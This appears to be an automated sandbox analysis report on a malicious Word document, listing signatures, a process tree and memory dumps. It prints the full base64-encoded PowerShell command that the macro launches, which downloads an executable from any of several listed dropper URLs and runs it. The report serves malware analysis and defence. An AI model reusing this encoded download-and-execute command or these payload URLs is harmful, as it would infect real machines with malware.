Analysis
- max time kernel
101s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20240611-en - resource tags
- submitted
14/06/2024, 03:30
General
- Target a7dba3115b5d621728ef122d032f611a_JaffaCakes118.doc
- Size 163KB
- Sample240614-d2vbbaxejq
- SHA256 bb2fd7f89d6de42a49049dbd2535a119323203510e6958fb12b04109c2f70433
Malware Config
Extracted
-
ps1
-
exe.dropper
http://dheeranet.com/Pej/
-
exe.dropper
http://playschoolmatritva.com/cgi-bin/Uh/
-
exe.dropper
http://dikshadayal.com/cgi-bin/Zl78esq/
-
exe.dropper
http://new.mylicense.ca/5aiibj/vS2/
-
exe.dropper
http://nucleokardecistalace.org.br/wp-includes/HviA/
-
exe.dropper
http://britanniacricketleague.com/wp-admin/3qc8lQB/
-
exe.dropper
https://www.hhbiao.com/ro/4Kh/
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 6 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 8 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\a7dba3115b5d621728ef122d032f611a_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -encod JABNAHUAcQB4AGoAcwBiAD0AKAAoACcAQwAnACsAJwBiADEAJwApACsAKAAnAG0ANwAnACsAJwBfADAAJwApACkAOwAmACgAJwBuAGUAdwAnACsAJwAtAGkAdAAnACsAJwBlAG0AJwApACAAJABlAG4AVgA6AHUAcwBlAHIAcABSAE8AZgBJAEwAZQBcAEQARgBiAHEAbQBLADUAXABBAF8AagB6ADQATwA1AFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQAaQByAEUAQwB0AE8AcgB5ADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAQwBVAGAAUgBgAEkAdABZAHAAcgBgAE8AYABUAE8AQwBPAGwAIgAgAD0AIAAoACcAdABsACcAKwAnAHMAMQAnACsAJwAyACcAKwAoACcALAAgAHQAbAAnACsAJwBzADEAMQAnACsAJwAsACAAdAAnACkAKwAnAGwAcwAnACkAOwAkAEsAagA5ADcAbwBiAGsAIAA9ACAAKAAoACcASwAnACsAJwB2AGMAJwApACsAKAAnADIAZwBkACcAKwAnAG4AJwApACkAOwAkAEMANQBfADUAagBpADUAPQAoACcATAAnACsAJwBfAHAAJwArACgAJwA1ACcAKwAnAHYAeQBnACcAKQApADsAJABMADgAMQBfADUAcwA4AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAHQAOQAnACsAKAAnADEAJwArACcARABmAGIAcQAnACkAKwAnAG0AawAnACsAKAAnADUAJwArACcAdAA5ADEAQQAnACsAJwBfACcAKQArACgAJwBqAHoAJwArACcANABvACcAKwAnADUAdAA5ACcAKQArACcAMQAnACkALQBDAHIAZQBwAGwAYQBjAEUAKAAnAHQAJwArACcAOQAxACcAKQAsAFsAYwBIAEEAUgBdADkAMgApACsAJABLAGoAOQA3AG8AYgBrACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAJABDAHkAbgBsAHYAcgBiAD0AKAAoACcAQQA4AGoAaAAnACsAJwBtAGMAJwApACsAJwAzACcAKQA7ACQARQBhAGoANwB0ADAAcgA9AC4AKAAnAG4AZQB3ACcAKwAnAC0AbwBiAGoAZQBjACcAKwAnAHQAJwApACAATgBFAHQALgB3AEUAYgBjAGwASQBFAE4AdAA7ACQAWABhAHkAZAB3ADQANgA9ACgAKAAnAGgAdAAnACsAJwB0AHAAOgAnACkAKwAnAC8ALwAnACsAKAAnAGQAJwArACcAaABlAGUAcgBhAG4AZQAnACkAKwAoACcAdAAnACsAJwAuAGMAJwApACsAJwBvACcAKwAoACcAbQAvACcAKwAnAFAAJwApACsAKAAnAGUAagAvACcAKwAnACoAaAAnACkAKwAoACcAdAB0ACcAKwAnAHAAOgAnACkAKwAnAC8ALwAnACsAKAAnAHAAbABhACcAKwAnAHkAcwBjACcAKQArACgAJwBoAG8AJwArACcAbwBsAG0AYQB0AHIAJwArACcAaQAnACkAKwAoACcAdAB2AGEAJwArACcALgAnACkAKwAoACcAYwAnACsAJwBvAG0AJwApACsAKAAnAC8AJwArACcAYwBnAGkAJwArACcALQBiAGkAbgAvACcAKQArACcAVQAnACsAKAAnAGgAJwArACcALwAqAGgAJwApACsAJwB0ACcAKwAoACcAdAAnACsAJwBwADoAJwApACsAKAAnAC8ALwBkACcAKwAnAGkAawAnACkAKwAoACcAcwBoAGEAJwArACcAZABhACcAKQArACgAJwB5AGEAJwArACcAbAAuAGMAJwApACsAKAAnAG8AJwArACcAbQAnACsAJwAvAGMAZwBpAC0AJwApACsAKAAnAGIAaQAnACsAJwBuAC8AWgAnACkAKwAoACcAbAA3ADgAJwArACcAZQBzACcAKQArACgAJwBxAC8AKgBoAHQAJwArACcAdABwADoALwAnACsAJwAvAG4AJwApACsAKAAnAGUAJwArACcAdwAuAG0AJwArACcAeQBsAGkAJwApACsAKAAnAGMAJwArACcAZQBuACcAKQArACgAJwBzACcAKwAnAGUALgBjAGEAJwApACsAKAAnAC8ANQAnACsAJwBhACcAKQArACgAJwBpACcAKwAnAGkAYgAnACkAKwAoACcAagAvAHYAUwAnACsAJwAyAC8AKgAnACsAJwBoAHQAdAAnACsAJwBwADoAJwApACsAKAAnAC8AJwArACcALwBuACcAKQArACcAdQBjACcAKwAoACcAbAAnACsAJwBlAG8AJwApACsAJwBrAGEAJwArACgAJwByAGQAZQBjAGkAJwArACcAcwB0ACcAKwAnAGEAbABhACcAKwAnAGMAJwApACsAKAAnAGUAJwArACcALgBvACcAKQArACgAJwByAGcALgAnACsAJwBiAHIAJwApACsAKAAnAC8AdwBwAC0AJwArACcAaQAnACkAKwAoACcAbgAnACsAJwBjAGwAdQBkACcAKwAnAGUAcwAnACkAKwAnAC8ASAAnACsAJwB2ACcAKwAoACcAaQBBACcAKwAnAC8AJwApACsAKAAnACoAaAAnACsAJwB0ACcAKQArACgAJwB0AHAAOgAnACsAJwAvAC8AJwApACsAKAAnAGIAJwArACcAcgBpACcAKQArACgAJwB0ACcAKwAnAGEAbgAnACkAKwAoACcAbgBpACcAKwAnAGEAYwAnACkAKwAoACcAcgAnACsAJwBpAGMAawBlAHQAJwApACsAJwBsACcAKwAoACcAZQBhAGcAdQBlAC4AYwBvAG0AJwArACcALwAnACsAJwB3ACcAKwAnAHAALQBhAGQAbQBpACcAKwAnAG4AJwApACsAJwAvACcAKwAnADMAcQAnACsAKAAnAGMAJwArACcAOABsACcAKQArACgAJwBRAEIAJwArACcALwAqAGgAJwArACcAdAB0AHAAJwApACsAKAAnAHMAJwArACcAOgAvAC8AdwB3AHcAJwApACsAKAAnAC4AaABoAGIAaQBhACcAKwAnAG8ALgBjAG8AJwArACcAbQAvACcAKQArACcAcgAnACsAKAAnAG8ALwA0ACcAKwAnAEsAaAAnACkAKwAnAC8AJwApAC4AIgBzAFAAbABgAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEUAbAB1AHAAcwBoAGUAPQAoACcARwAxACcAKwAoACcAOAAnACsAJwA3AHUAZgAyACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQASgAxAF8AaAA3AGkAdQAgAGkAbgAgACQAWABhAHkAZAB3ADQANgApAHsAdAByAHkAewAkAEUAYQBqADcAdAAwAHIALgAiAGQAbwBXAG4ATABgAE8AYABBAEQAZgBgAEkAbABlACIAKAAkAEoAMQBfAGgANwBpAHUALAAgACQATAA4ADEAXwA1AHMAOAApADsAJABMAHAAeAB0ADEAYwB1AD0AKAAnAFUAOQAnACsAKAAnADUAbQAwACcAKwAnAHcAJwApACsAJwB4ACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtAEkAJwArACcAdABlAG0AJwApACAAJABMADgAMQBfADUAcwA4ACkALgAiAGwAYABFAG4AYABnAHQAaAAiACAALQBnAGUAIAAyADcANAA0ADQAKQAgAHsALgAoACcASQAnACsAJwBuACcAKwAnAHYAbwBrACcAKwAnAGUALQBJAHQAZQBtACcAKQAoACQATAA4ADEAXwA1AHMAOAApADsAJABBAHgAawBkADIAZgA3AD0AKAAoACcATQBjACcAKwAnADcAJwApACsAKAAnAHUAZwAnACsAJwByACcAKQArACcANwAnACkAOwBiAHIAZQBhAGsAOwAkAE4AMwA5AHAAaQB5AGUAPQAoACcAWQAnACsAJwB5ACcAKwAoACcAdgBvACcAKwAnADQAOAB4ACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABOAHgAdQBzAHIAeQB6AD0AKAAnAFQAXwAnACsAKAAnAGkAJwArACcAXwB5AGIAJwApACsAJwB3ACcAKQA=1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
sist02.xsl
__PSScriptPolicyTest_2lajaa0s.zff.ps1
memory/3560-16-0x00007FFA79D70000-0x00007FFA79F65000-memory.dmp
memory/3560-27-0x00007FFA79D70000-0x00007FFA79F65000-memory.dmp
memory/3560-4-0x00007FFA39DF0000-0x00007FFA39E00000-memory.dmp
memory/3560-1-0x00007FFA39DF0000-0x00007FFA39E00000-memory.dmp
memory/3560-6-0x00007FFA79D70000-0x00007FFA79F65000-memory.dmp
memory/3560-8-0x00007FFA79D70000-0x00007FFA79F65000-memory.dmp
memory/3560-10-0x00007FFA79D70000-0x00007FFA79F65000-memory.dmp
memory/3560-9-0x00007FFA79D70000-0x00007FFA79F65000-memory.dmp
memory/3560-18-0x00007FFA37AF0000-0x00007FFA37B00000-memory.dmp
memory/3560-14-0x00007FFA79D70000-0x00007FFA79F65000-memory.dmp
memory/3560-13-0x00007FFA79D70000-0x00007FFA79F65000-memory.dmp
memory/3560-15-0x00007FFA37AF0000-0x00007FFA37B00000-memory.dmp
memory/3560-12-0x00007FFA79D70000-0x00007FFA79F65000-memory.dmp
memory/3560-11-0x00007FFA79D70000-0x00007FFA79F65000-memory.dmp
memory/3560-5-0x00007FFA79E0D000-0x00007FFA79E0E000-memory.dmp
memory/3560-0-0x00007FFA39DF0000-0x00007FFA39E00000-memory.dmp
memory/3560-7-0x00007FFA79D70000-0x00007FFA79F65000-memory.dmp
memory/3560-17-0x00007FFA79D70000-0x00007FFA79F65000-memory.dmp
memory/3560-31-0x00007FFA79D70000-0x00007FFA79F65000-memory.dmp
memory/3560-590-0x00007FFA79D70000-0x00007FFA79F65000-memory.dmp
memory/3560-2-0x00007FFA39DF0000-0x00007FFA39E00000-memory.dmp
memory/3560-587-0x00007FFA39DF0000-0x00007FFA39E00000-memory.dmp
memory/3560-589-0x00007FFA39DF0000-0x00007FFA39E00000-memory.dmp
memory/3560-3-0x00007FFA39DF0000-0x00007FFA39E00000-memory.dmp
memory/3560-547-0x00007FFA79D70000-0x00007FFA79F65000-memory.dmp
memory/3560-566-0x00007FFA79D70000-0x00007FFA79F65000-memory.dmp
memory/3560-567-0x00007FFA79D70000-0x00007FFA79F65000-memory.dmp
memory/3560-586-0x00007FFA39DF0000-0x00007FFA39E00000-memory.dmp
memory/3560-588-0x00007FFA39DF0000-0x00007FFA39E00000-memory.dmp
memory/4768-85-0x00007FFA79D70000-0x00007FFA79F65000-memory.dmp
memory/4768-78-0x0000015E857C0000-0x0000015E857E2000-memory.dmp
memory/4768-72-0x00007FFA79D70000-0x00007FFA79F65000-memory.dmp